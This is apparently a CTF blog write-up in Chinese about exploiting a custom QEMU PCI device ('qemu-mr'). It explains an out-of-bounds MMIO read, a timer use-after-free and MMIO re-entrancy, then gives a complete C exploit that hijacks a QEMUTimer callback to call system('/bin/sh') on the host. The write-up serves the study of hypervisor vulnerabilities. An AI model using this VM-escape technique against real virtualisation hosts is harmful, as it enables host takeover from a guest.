京麒CTF2023 qemu-mr MMIO重入攻击

有趣的MMIO重入

分析

关键结构体长这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct MRState
{
PCIDevice_0 pdev;
MemoryRegion_0 mmio;
MemoryRegion_0 pmio;
uint64_t chunk_size;
int64_t read_size;
uint64_t read_flag;
uint64_t free_flag;
uint64_t chunk_flag;
uint64_t timer_flag;
uint64_t clear_flag;
uint64_t bh_flag;
uint64_t bh_rw_flag;
uint64_t physical;
QEMUTimer_0 *timer;
char *chunk_ptr;
uint64_t blk[8];
};

mmio_read,一眼丁真的负数溢出.(ps:上面那个比较是无符号比较,没有负数溢出),结合MRState结构体来看,向上溢出读timer指针能够拿到主线程的堆地址,读chunk_ptr能拿到当前线程的堆地址,作为一个Object,可以从基类的free指针中拿到ELF程序的加载地址.
(其实按照以前用户态glibc利用的经验,mmap出的多片内存区域的偏移应该是固定的,而线程堆是mmap出来的,讲道理应该能从得到的线程堆地址间接计算libc的地址,但在之前的一些尝试中,这些偏移并不固定.如果有师傅知道为什么,真心求教.)

1
2
3
4
5
6
7
8
9
struct Object
{
/* private: */
ObjectClass *class;
ObjectFree *free; //free -> g_free in ELF.
GHashTable *properties;
uint32_t ref;
Object *parent;
};

mmio_write可以设置除了clear_flag外的其他flag,然后根据flag执行对应的操作(仅展示操作部分).操作有: 1) dma读写 2) 分配<0x200大小的堆块并从物理地址读取数据. 3)设置timer 4) 释放timer.

一看堆的chunk_size可控,且mmio_write时没加锁,于是想到打条件竞争,在一个线程malloc之后,另一个线程进入mmio_write修改chunk_size变量,达成堆溢出.但是观察下面的free操作后,会将clear_flag设置为1,这意味着mmio_write将不再可用,我们仅有1次free操作.而且能溢出的堆块和要释放的堆块甚至不在同一个线程的堆区中(timer空间在qemu主线程中分配,chunk_ptr在触发mmio_write的线程中分配),感觉不太好打.

于是换一条路走.再来关注这个free掉timer的操作,结合前两天跟的QemuTimer Callback机制,瞬间想到这里有个天然的UAF.在激活timer后,timer已经加入到了active_timerlist中,在MRState中将Timer置零没有完全消除对timer结构的访问能力.结合刚刚的堆块分配操作,将释放的timer拿回来并在Timer触发之前劫持其callback指针及参数,即可达成一次任意函数调用.不过还是刚刚的问题,clear_flag会被置1,没办法再次分配堆块.那就再打竞争,在释放timer后设置clear_flag前让另一个线程进行堆块分配并劫持.

这种方法最终也没有成功,即使我尝试使用gdb控制程序的时序来赢得竞争,但我发现似乎多个线程不能同时进行mmio_write,.(这一点在之后会解释)

后来根据题目提示,找到了 https://github.com/QiuhaoLi/CVE-2021-3929-3947 以及white paper.了解mmio重入的基本原理.
于是先将physical地址设置为mmio区域的物理地址,设置好对应标志位,经过这样的过程:
先第一次进入mmio_write,向physical区域写入触发mmio重入,第二次进入mmio_write分配chunk并写入(无效操作),激活timer,释放timer.此时clear_flag已经设置,但当第二次mmio_write结束会直接返回到刚刚写入physical区域的指令,也就是检测clear_flag之后,之后即可正常劫持timer.

引用一下论文中的对MMIO重入的描述.

论文中也提到了在最开始的尝试中无法同时进入mmio_write的原因.

In QEMU,PMIO/MMIO accesses from the guest are protected by a global lock “Big QEMU Lock”[27],so two vCPUs can not simultaneously call into virtual devices.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/io.h>
#include <unistd.h>
#include <sched.h>
#include <pthread.h>


#define HEX(x) printf("[*]0x%016llx\n", (unsigned long long)x)
#define LOG(addr) printf("[*]%s\n", addr)

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
#define LOWMASK 0xffffffff
#define HIGHMASK 0xffffffff00000000

// typedef unsigned long long uint64_t;

uint32_t pmio_base = 0x000000000000c050;
void * mmio_mem;
char* userbuf;
uint64_t phy_userbuf;
int fd;

void Err(char* err){
printf("Error: %s\n", err);
exit(-1);
}


uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
Err("open pagemap");
}
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(fd, offset, SEEK_SET);
read(fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}

uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

size_t va2pa(void *addr){
uint64_t data;

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}


uint64_t mmio_read(uint64_t addr){
return *(uint64_t *)( mmio_mem + addr );
}

void mmio_write(uint64_t addr,uint64_t val){
*(uint64_t *)(mmio_mem + addr) = val;
}

void pmio_write(uint32_t addr,uint32_t val){
outl(val,pmio_base+addr);
}
void pmio_writeb(uint32_t addr,uint8_t val){
outb(val,pmio_base+addr);
}

uint64_t pmio_read(uint32_t addr){
return (uint32_t)inl(pmio_base+addr);
}

uint64_t pmio_readb(uint32_t addr){
return (uint8_t)inb(pmio_base+addr);
}

void init_mmio(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if(mmio_fd < 0){
Err("Open pci");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if(mmio_mem<0){
Err("mmap mmio_mem");
}
LOG("mmio_init");
}

void init_pmio()
{
if (iopl(3) !=0 )
Err("I/O permission is not enough");
LOG("pmio_init");

}

void init_pa()
{
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
exit(1);
}
LOG("pa_init");
}



struct QEMUTimer {
int64_t expire_time; /* in nanoseconds */
void*timer_list;
void*cb;
void *opaque;
void*next;
int attributes;
int scale;
};

struct QEMUTimer timer;

int main()
{
init_mmio();
init_pa();

//泄露地址
mmio_write(0x200,-0x2);
uint64_t timer_addr = mmio_read(0);
HEX(timer_addr);

mmio_write(0x200,-0x179);
uint64_t g_free_plt = mmio_read(0);
HEX(g_free_plt);

uint64_t pie_base = g_free_plt-0x2debd0;
uint64_t binsh_addr = pie_base + 0xA62430;
uint64_t system_addr = pie_base + 0x2DE310;
HEX(pie_base);
HEX(system_addr);

mmio_write(0x100,0x30);//chunk_size

//伪造timer
memset(&timer,0,sizeof(timer));
timer.expire_time = 0;
timer.cb = system_addr;
timer.next = NULL;
timer.opaque = binsh_addr;
timer.scale = 1000000;

char buf[8] = "HanQi..";
mmio_write(0x800,1); //bh_flag = 1
mmio_write(0x700,1); //bh_rw_flag = 1
mmio_write(0x900,gva_to_gpa(buf)); //physical
mmio_write(0xF00,0);

//触发mmio_write
mmio_write(0x800,1); //bh_flag = 1
mmio_write(0x900,0xfebf1000+0xF00); //physical
mmio_write(0x700,0); //bh_rw_flag = 0
mmio_write(0x600,1);//timer_flag = 1
mmio_write(0x400,1);//free_flag = 1
mmio_write(0x500,1); //chunk_flag = 1
mmio_write(0xF00,gva_to_gpa(&timer));
}

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信